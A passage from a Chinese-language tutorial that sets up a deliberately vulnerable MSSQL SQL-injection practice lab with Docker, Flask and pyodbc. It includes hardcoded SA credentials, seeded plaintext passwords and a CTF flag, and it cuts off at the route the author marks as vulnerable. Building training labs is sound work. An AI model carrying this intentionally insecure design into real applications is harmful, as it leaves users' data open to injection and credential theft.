id=\"本地靶场搭建-2\"><a class=\"anchor\" href=\"#本地靶场搭建-2\">#</a> 本地靶场搭建</h2>\n<p>首先我们在本地创建一个文件夹，里面放入四个文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>MSSQL/</span></span>\n<span class=\"line\"><span>├── docker-compose.yml   # 容器编排配置</span></span>\n<span class=\"line\"><span>├── Dockerfile           # Python Web 运行环境配置</span></span>\n<span class=\"line\"><span>├── requirements.txt     # Python 依赖</span></span>\n<span class=\"line\"><span>└── app.py               # 带有漏洞的 Web 代码</span></span></code></pre>\n<p>然后将以下内容复制进文件：</p>\n<p><code>docker-compose.yml</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-yaml\"><span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">version</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">3.8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">services</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">  db</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    image</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> mcr.microsoft.com/mssql/server:2022-latest</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    environment</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> ACCEPT_EULA=Y</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> MSSQL_SA_PASSWORD=YourStrong!Passw0rd</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  # 必须满足 SQL Server 强密码策略</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    ports</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1433:1433</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">  web</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    build</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> .</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    ports</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">5003:5003</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    depends_on</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> db</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    environment</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> DB_HOST=db</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> DB_USER=sa</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      -</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> DB_PASS=YourStrong!Passw0rd</span></span></code></pre>\n<p><code>Dockerfile</code>:</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>FROM python:3.9-slim</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 1. 安装基础依赖</span></span>\n<span class=\"line\"><span>RUN apt-get update &#x26;&#x26; apt-get install -y curl apt-transport-https gnupg2 unixodbc-dev &#x26;&#x26; \\</span></span>\n<span class=\"line\"><span>    # 2. 使用新版推荐的 gpg 方式添加微软密钥（修复 apt-key 报错）</span></span>\n<span class=\"line\"><span>    curl -fsSL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor -o /usr/share/keyrings/microsoft-prod.gpg &#x26;&#x26; \\</span></span>\n<span class=\"line\"><span>    # 3. 添加适配 Debian 12 的微软源</span></span>\n<span class=\"line\"><span>    curl -fsSL https://packages.microsoft.com/config/debian/12/prod.list > /etc/apt/sources.list.d/mssql-release.list &#x26;&#x26; \\</span></span>\n<span class=\"line\"><span>    # 4. 更新源并安装 msodbcsql18</span></span>\n<span class=\"line\"><span>    apt-get update &#x26;&#x26; ACCEPT_EULA=Y apt-get install -y msodbcsql18 &#x26;&#x26; \\</span></span>\n<span class=\"line\"><span>    apt-get clean</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>WORKDIR /app</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 安装 Python 依赖</span></span>\n<span class=\"line\"><span>COPY requirements.txt .</span></span>\n<span class=\"line\"><span>RUN pip install --no-cache-dir -r requirements.txt</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 复制应用代码</span></span>\n<span class=\"line\"><span>COPY app.py .</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 启动 Flask 服务</span></span>\n<span class=\"line\"><span>CMD [\"python3\", \"app.py\"]</span></span></code></pre>\n<p><code>requirements.txt</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>flask==3.0.0</span></span>\n<span class=\"line\"><span>pyodbc==5.0.1</span></span></code></pre>\n<p><code>app,py</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> os</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> time</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> pyodbc</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 从环境变量中读取数据库配置（由 docker-compose 传入）</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_HOST</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> os</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">environ</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">DB_HOST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">localhost</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_USER</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> os</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">environ</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">DB_USER</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sa</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_PASS</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> os</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">environ</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">DB_PASS</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">YourStrong!Passw0rd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DRIVER</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#123;ODBC Driver 18 for SQL Server&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 基础连接字符串（连接到 master 库用于初始化，ODBC 18 必须加 TrustServerCertificate=yes）</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">BASE_CONN_STR</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"DRIVER=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DRIVER</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;SERVER=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_HOST</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;UID=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_USER</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;PWD=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_PASS</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;TrustServerCertificate=yes;\"</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 业务连接字符串（连接到靶场库）</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">APP_CONN_STR</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"DRIVER=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DRIVER</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;SERVER=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_HOST</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;DATABASE=SQLiLab;UID=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_USER</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;PWD=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_PASS</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;TrustServerCertificate=yes;\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> init_db</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[*] 等待 SQL Server 启动并接受连接...</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 循环等待数据库启动（由于容器启动时差，数据库可能需要十几秒才能对外提供服务）</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> _ </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">30</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> pyodbc</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">connect</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">BASE_CONN_STR</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> autocommit</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            break</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">sleep</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[-] 无法连接到数据库，请检查 Docker 日志。</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 1. 创建数据库</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = 'SQLiLab') CREATE DATABASE SQLiLab</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 2. 切换到靶场数据库</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">USE SQLiLab</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 3. 创建表并插入测试数据</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        IF NOT EXISTS (SELECT * FROM sysobjects WHERE name='Users' AND xtype='U')</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        BEGIN</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            CREATE TABLE Users (</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                ID INT IDENTITY(1,1) PRIMARY KEY,</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                Username VARCHAR(50),</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                Password VARCHAR(50),</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                Email VARCHAR(100)</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            );</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            INSERT INTO Users (Username, Password, Email) VALUES</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            ('admin', 'SuperSecretAdmin123', 'admin@local.test'),</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            ('testuser', 'password123', 'user@local.test'),</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            ('flag','ZLARYY&#123;h0w_Do_y0U_th1nk_m55ql?&#125;','flag@local.test'),</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            ('guest', 'guest', 'guest@local.test');</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        END</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"\"\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[+] 数据库自动初始化完成！表和数据已就绪。</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"[-] 初始化数据库时出错: </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 在应用启动前执行初始化</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">init_db</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_user</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    username </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">username</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> username</span><span 